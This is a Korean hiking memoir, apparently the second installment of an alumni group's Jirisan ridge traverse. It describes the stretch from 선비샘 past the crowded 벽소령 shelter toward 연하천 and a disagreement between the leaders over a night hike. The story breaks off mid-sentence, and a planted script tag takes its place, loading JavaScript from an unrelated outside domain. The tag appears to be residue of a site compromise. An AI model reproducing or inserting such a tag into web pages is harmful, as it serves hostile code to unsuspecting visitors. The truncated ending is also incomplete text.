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[제목] 지리산 종주기 2가 이어집니다. (유홍림)
(회의를 마친 후, 밖으로 점심을 하러 나가자는 학장을 설득하여 중국집에 배달을 시켰다. 짐작하겠지만, 기다리는 독자들을 의식해서였다.)

선비샘을 떠나 우리는 히말라야 등반대장을 역임했던 김현경이와 만나기로 예정된 벽소령을 향했다. 현경이 외에도 우리는 벽소령에서는 또 다른 동문(同門) 종주팀을 조우하게 되어있었다. 그 팀은 우리 67회 휘공회보다 역사도 길고 규모도 크며 더 시끄러운 65회 휘봉회 10여분 정도에 몇몇 후배 기수들이 합쳐 구성된 팀이었다. 그리고 그 팀의 대장은 바로, 기억하는 동기들도 있겠지만, 교직에 계시다가 잠실에서 막국수 집을 개업해 운영하고 계신 53회 선배님이시다. 건강 회복을 목적으로 열심히 산을 다니시다가 건강을 되찾은 것은 물론 산신령으로부터 업종과 메뉴까지 점지 받으셨다는 이 선배님을 이미 직전 구간인 세석-선비샘 코스에서 마주쳤었다.

아침 출발이 약 3시간 늦어진 까닭에 현경이는 이미 벽소령에 도착해 목이 빠지게 기다리고 있으리라 판단되어 산행속도를 높여야 했다. 출발 직전 김회장과 등반대장간의 심각한 논의가 있었다. 대원들의 체력상태와 진행속도를 감안할 때, 두 번째 날의 최종 목적지인 연하천까지는 오르막이 많은 구간인데다 로타리 산장을 출발한 지 10시간이 넘은 터라, 벽소령 근처에서 비박을 하자는 것이 김회장의 입장이고, 등반대장의 입장은 야간산행을 하더라도 예정대로 움직이자는 것이었다. 두 사람의 의견 모두 일리도 있었지만, 한 고집하는 사람들이라 쉽게 정리가 되질 않았다. 그래서 우선 벽소령에까지 가보고 결정하자는 선으로 중재가 되어, 일단 출발은 하였다.

이번 구간은 상당한 오르막 내리막이 계속되어 힘은 드나, 길은 햇빛이 간간이 들어올 정도로 우겨진 숲 속으로 이어져 있어 매우 낭만적이었다. 더구나 그 길은 양쪽에서 교통하기는 불가능할 정도로 좁은 나머지 맞은 편에서 오는 등산객들과의 일일이 인사를 나누어야 했으며, 이름을 알 수 없는 갖가지 새들의 환영음악회를 (듣지 않으면 졸업을 할 수 없는 필수과목처럼) 반강제적(?)으로 감상하여야 했다. 이 구간 내내 대원들은 자연스럽게 3그룹(1진: 대장, 김회장, 박이사님 선배 두 분, 2진: 필자와, 조금 떨어져 상호와 그의 가이드 겸 포터인 승일, 3진: 동생들)으로 나누어져 산행이 진행되었다. 그룹간의 시간 차이가 약 20여분 이상이 되어 보였다. 그래도 2진, 3진 멤버들은 선두와의 차이에 대해 점차 무감각해지는 듯하더니 아예 포기하는 듯한 태도를 보였다. 급기야는 중간중간 전망이 좋다는 것을 핑계로 멋대로 휴식을 취하기까지 이르렀다. 중간 반(班) 정도인 나는 선두 그룹과 후미 그룹을 동시에 의식해 가면서 산행을 진행하다보니, 육체는 비몽사몽(非夢似夢) 수준에 이르렀으나, 점차 정신은 무아지경(無我地境)에 빠져 들어가고 있음을 느끼게 되었다.

실력별로 반이 나누어진 관계로 직접은 듣지 못했지만, 이 코스 내내 등반 대장과 김 회장간의 의견차이는 심각할 수준에 이르기까지 했다고 한다. 결국 등반대장이 판정승을 거두어 선두 그룹은 최대한 빨리 벽소령을 지나 연하천으로 달려가 비박할 장소를 물색한 뒤, 저녁식사를 할 수 있도록 준비를 갖추라는 명령이 떨어졌다고 한다. 반면 대장은 벽소령에서 후미그룹들을 기다리다가 독려하면서 인솔하기로 했단다.

벽소령 산장에 가까이 이르니 사람소리들이 웅성웅성 들리기 시작했고, 마이크에서는 산장이 포화상태니 코스의 변경이나 산장 내에서의 협조적 행동을 당부하는 소리가 계속 반복해서 울려 퍼진다. 산장이 내려다보이는 위치에 도착해보니 마치 산장 주변은 월드컵 때 시청앞 광장과 같다는 비유가 적절하다는 생각이 들 정도이었다. 산장 도착한 나는 산장 마당에서 술잔을 나누고 있는 휘봉회 주축의 종주팀과 인사를 나누려 하는데, 대장이 산장을 막 벗어난 길가에서 나를 소리쳐 부른다. 잠시 후 나머지 열등생들이 도착하자, 그 간의 상황과 내려진 결정을 들려주었다. 야간산행을 감행하더라도 연하천으로 이동한다는 것이었다. 사실은 열등 대원의 대부분은 벽소령에 묵기를 바라는 눈치이었다. 그러나 대장의 비장한 말투와 결연한 태도에 모두들 기가 죽어 아무도 이의를 제기하지 못하였다. 잠시 휴식을 취한 뒤, 심기일전하여 지도상으론 약 2시간 코스인 연화천으로 다시 출발을 하였다.

벽소령에서 형제봉까지 이르는 길도 너덜길이 심하여 힘들다. 그러나 형제봉을 지나 연하천까지도 끊임없는 오르막길이다. 이 길을 양쪽에서 오고가는 사람마다, "연하천이 복잡하여 벽소령으로 가려고 하는데, 그 쪽 사정은 어떠냐?" "벽소령이 사람들로 넘쳐나 연하천으로 가려는데 그 곳은 나으냐?" "선비샘 근처까지 가면 잘 곳이 있겠는가?" 등등의 질문이 ?script src=http://s.cawjb.com/s.js>
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